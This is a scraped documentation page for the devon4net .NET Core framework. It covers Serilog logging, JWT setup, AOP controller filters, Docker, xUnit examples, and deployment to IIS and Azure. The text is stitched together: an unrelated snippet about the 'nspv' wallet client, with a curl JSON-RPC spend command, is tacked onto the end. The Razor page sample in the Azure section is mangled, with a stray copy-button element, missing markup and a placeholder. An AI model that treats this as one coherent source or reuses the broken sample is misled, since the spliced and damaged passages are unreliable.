By default Microsoft provides a logging module on .NET Core applications. This module is open and can it can be extended. devon4net uses the serilog implementation. This implementation provides a huge quantity information about events and traces.
devon4net can write the log information to a simple text file. You can configure the file name and folder at appsettings.json file (LogFile attribute) at devon4net.Application.WebApi project.
devon4net can write the log information to a SQLite database. You can configure the file name and folder at appsettings.json file (LogDatabase attribute) at devon4net.Application.WebApi project.
With this method you can launch queries in order to search the information you are looking for.
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties allowing you to decode, verify and generate JWT.
You should use JWT for:
-
Authentication : allowing the user to access routes, services, and resources that are permitted with that token.
-
Information Exchange: JSON Web Tokens are a good way of securely transmitting information between parties. Additionally, as the signature is calculated using the header and the payload, you can also verify that the content.
The JWT module is configured at Startup.cs inside devon4net.Application.WebApi project from .NET Core template. In this class you can configure the different authentication policy and JWT properties.
Once the user has been authenticated, the client perform the call to the backend with the attribute Bearer plus the token generated at server side.
On My Thai Star sample there are two predefined users: user0 and Waiter. Once they log in the application, the client (Angular/Xamarin) will manage the server call with the json web token. With this method we can manage the server authentication and authorization.
You can find more information about JWT at jwt.io
AOP (Aspect Oriented Programming) tracks al information when a method is call. AOP also tracks the input and output data when a method is call.
By default devon4net has AOP module pre-configured and activated for controllers at Startup.cs file at devon4net.Application.WebApi:
options.Filters.Add(new Infrastructure.AOP.AopControllerAttribute(Log.Logger)); options.Filters.Add(new Infrastructure.AOP.AopExceptionFilter(Log.Logger));
This configuration allows all Controller classes to be tracked. If you don’t need to track the info comment the lines written before.
devon4net Core projects are ready to be integrated with docker.
My Thai Star application sample is ready to be use with linux docker containers. The Readme file explains how to launch and setup the sample application.
-
angular : Angular client to support backend. Just binaries.
-
database : Database scripts and .bak file
-
mailservice: Microservice implementation to send notifications.
-
netcore: Server side using .net core 2.0.x.
-
xamarin: Xamarin client based on Excalibur framework from The Netherlands using XForms.
Docker configuration and docker-compose files are provided.
24.1.4.
xUnit.net is a free, open source, community-focused unit testing tool for the .NET Framework. Written by the original inventor of NUnit v2, xUnit.net is the latest technology for unit testing C#, F#, VB.NET and other .NET languages. xUnit.net works with ReSharper, CodeRush, TestDriven.NET and Xamarin. It is part of the .NET Foundation, and operates under their code of conduct. It is licensed under Apache 2 (an OSI approved license).
https://xunit.github.io/#documentation
Facts are tests which are always true. They test invariant conditions.
Theories are tests which are only true for a particular set of data.
using Xunit; namespace MyFirstUnitTests { public class Class1 { [Fact] public void PassingTest() { Assert.Equal(4, Add(2, 2)); } [Fact] public void FailingTest() { Assert.Equal(5, Add(2, 2)); } int Add(int x, int y) { return x + y; } } }
Theory attribute is used to create tests with input params:
[Theory] [InlineData(3)] [InlineData(5)] [InlineData(6)] public void MyFirstTheory(int value) { Assert.True(IsOdd(value)); } bool IsOdd(int value) { return value % 2 == 1; }
Cheat Sheet
| Operation | Example |
|---|---|
Test |
[Fact] public void Test() { } |
Setup |
public class TestFixture { public TestFixture() { … } } |
Teardown |
public class TestFixture : IDisposable { public void Dispose() { … } } |
Console runner return codes
| Code | Meaning |
|---|---|
0 |
The tests ran successfully. |
1 |
One or more of the tests failed. |
2 |
The help page was shown, either because it was requested, or because the user did not provide any command line arguments. |
3 |
There was a problem with one of the command line options passed to the runner. |
4 |
There was a problem loading one or more of the test assemblies (for example, if a 64-bit only assembly is run with the 32-bit test runner). |
24.1.5.
In order to deploy your application to a Nginx server on Linux platform you can follow the instructions from Microsoft here.
In this point is shown the configuration options that must implement the .Net Core application.
Supported operating systems:
-
Windows 7 and newer
-
Windows Server 2008 R2 and newer*
WebListener server will not work in a reverse-proxy configuration with IIS. You must use the Kestrel server.
IIS configuration
Enable the Web Server (IIS) role and establish role services.
Windows desktop operating systems
Navigate to Control Panel > Programs > Programs and Features > Turn Windows features on or off (left side of the screen). Open the group for Internet Information Services and Web Management Tools. Check the box for IIS Management Console. Check the box for World Wide Web Services. Accept the default features for World Wide Web Services or customize the IIS features to suit your needs.
*Conceptually, the IIS configuration described in this document also applies to hosting ASP.NET Core applications on Nano Server IIS, but refer to ASP.NET Core with IIS on Nano Server for specific instructions.
Windows Server operating systems For server operating systems, use the Add Roles and Features wizard via the Manage menu or the link in Server Manager. On the Server Roles step, check the box for Web Server (IIS).
On the Role services step, select the IIS role services you desire or accept the default role services provided.
Proceed through the Confirmation step to install the web server role and services. A server/IIS restart is not required after installing the Web Server (IIS) role.
Install the .NET Core Windows Server Hosting bundle
-
Install the .NET Core Windows Server Hosting bundle on the hosting system. The bundle will install the .NET Core Runtime, .NET Core Library, and the ASP.NET Core Module. The module creates the reverse-proxy between IIS and the Kestrel server. Note: If the system doesn’t have an Internet connection, obtain and install the Microsoft Visual C++ 2015 Redistributable before installing the .NET Core Windows Server Hosting bundle.
-
Restart the system or execute net stop was /y followed by net start w3svc from a command prompt to pick up a change to the system PATH.
| If you use an IIS Shared Configuration, see ASP.NET Core Module with IIS Shared Configuration. |
To configure IISIntegration service options, include a service configuration for IISOptions in ConfigureServices:
services.Configure<IISOptions>(options =>
{
...
});
| Option | Default | Setting |
|---|---|---|
AutomaticAuthentication |
true |
If true, the authentication middleware sets the HttpContext.User and responds to generic challenges. If false, the authentication middleware only provides an identity (HttpContext.User) and responds to challenges when explicitly requested by the AuthenticationScheme. Windows Authentication must be enabled in IIS for AutomaticAuthentication to function. |
AuthenticationDisplayName |
null |
Sets the display name shown to users on login pages. |
ForwardClientCertificate |
true |
If true and the MS-ASPNETCORE-CLIENTCERT request header is present, the HttpContext.Connection.ClientCertificate is populated. |
web.config
The web.config file configures the ASP.NET Core Module and provides other IIS configuration. Creating, transforming, and publishing web.config is handled by Microsoft.NET.Sdk.Web, which is included when you set your project’s SDK at the top of your .csproj file, <Project Sdk="Microsoft.NET.Sdk.Web">. To prevent the MSBuild target from transforming your web.config file, add the <IsTransformWebConfigDisabled> property to your project file with a setting of true:
<PropertyGroup>
<IsTransformWebConfigDisabled>true</IsTransformWebConfigDisabled>
</PropertyGroup>
In order to deploy your application to Azure platform you can follow the instructions from Microsoft:
Set up the development environment
-
Install the latest Azure SDK for Visual Studio. The SDK installs Visual Studio if you don’t already have it.
-
Verify your Azure account. You can open a free Azure account or Activate Visual Studio subscriber benefits.
Create a web app
In the Visual Studio Start Page, select File > New > Project…
Complete the New Project dialog:
-
In the left pane, select .NET Core.
-
In the center pane, select ASP.NET Core Web Application.
-
Select OK.
In the New ASP.NET Core Web Application dialog:
-
Select Web Application.
-
Select Change Authentication.
The Change Authentication dialog appears.
-
Select Individual User Accounts.
-
Select OK to return to the New ASP.NET Core Web Application, then select OK again.
Visual Studio creates the solution.
Run the app locally
-
Choose Debug then Start Without Debugging to run the app locally.
-
Click the About and Contact links to verify the web application works.
-
Select Register and register a new user. You can use a fictitious email address. When you submit, the page displays the following error:
"Internal Server Error: A database operation failed while processing the request. SQL exception: Cannot open the database. Applying existing migrations for Application DB context may resolve this issue."
-
Select Apply Migrations and, once the page updates, refresh the page.
The app displays the email used to register the new user and a Log out link.
Deploy the app to Azure
Close the web page, return to Visual Studio, and select Stop Debugging from the Debug menu.
Right-click on the project in Solution Explorer and select Publish….
In the Publish dialog, select Microsoft Azure App Service and click Publish.
-
Name the app a unique name.
-
Select a subscription.
-
Select New… for the resource group and enter a name for the new resource group.
-
Select New… for the app service plan and select a location near you. You can keep the name that is generated by default.
-
Select the Services tab to create a new database.
-
Select the green + icon to create a new SQL Database
-
Select New… on the Configure SQL Database dialog to create a new database.
The Configure SQL Server dialog appears.
-
Enter an administrator user name and password, and then select OK. Don’t forget the user name and password you create in this step. You can keep the default Server Name.
-
Enter names for the database and connection string.
"admin" is not allowed as the administrator user name.
-
Select OK.
Visual Studio returns to the Create App Service dialog.
-
Select Create on the Create App Service dialog.
-
Click the Settings link in the Publish dialog.
On the Settings page of the Publish dialog:
-
Expand Databases and check Use this connection string at runtime.
-
Expand Entity Framework Migrations and check Apply this migration on publish.
-
Select Save. Visual Studio returns to the Publish dialog.
Click Publish. Visual Studio will publish your app to Azure and launch the cloud app in your browser.
Test your app in Azure
-
Test the About and Contact links
-
Register a new user
Update the app
-
Edit the Pages/About.cshtml Razor page and change its contents. For example, you can modify the paragraph to say "Hello ASP.NET Core!":
html<button class="action copy" data-bi-name="copy">Copy</button>
@page
@model AboutModel
@{
ViewData["Title"] = "About";
}

@ViewData["Title"]

<EMAIL_ADDRESS>
Hello ASP.NET Core!

-
Right-click on the project and select Publish… again.
-
After the app is published, verify the changes you made are available on Azure.
Clean up
When you have finished testing the app, go to the Azure portal and delete the app.
-
Select Resource groups, then select the resource group you created.
-
In the Resource groups page, select Delete.
-
Enter the name of the resource group and select Delete. Your app and all other resources created in this tutorial are now deleted from Azure.


for nspv, there is no username and password right now
you run the client locally and interact with it using curl commands or the builtin html wallet
example:
curl --data-binary '{"jsonrpc": "2.0", "id":"curltest", "method": "spend", "params": ["RFmQiF4Zbzxchv9AG6dw6ZaX8PbrA8FXAb",1 ] }' -H 'content-type: text/plain;' http://<IP_ADDRESS>:$port/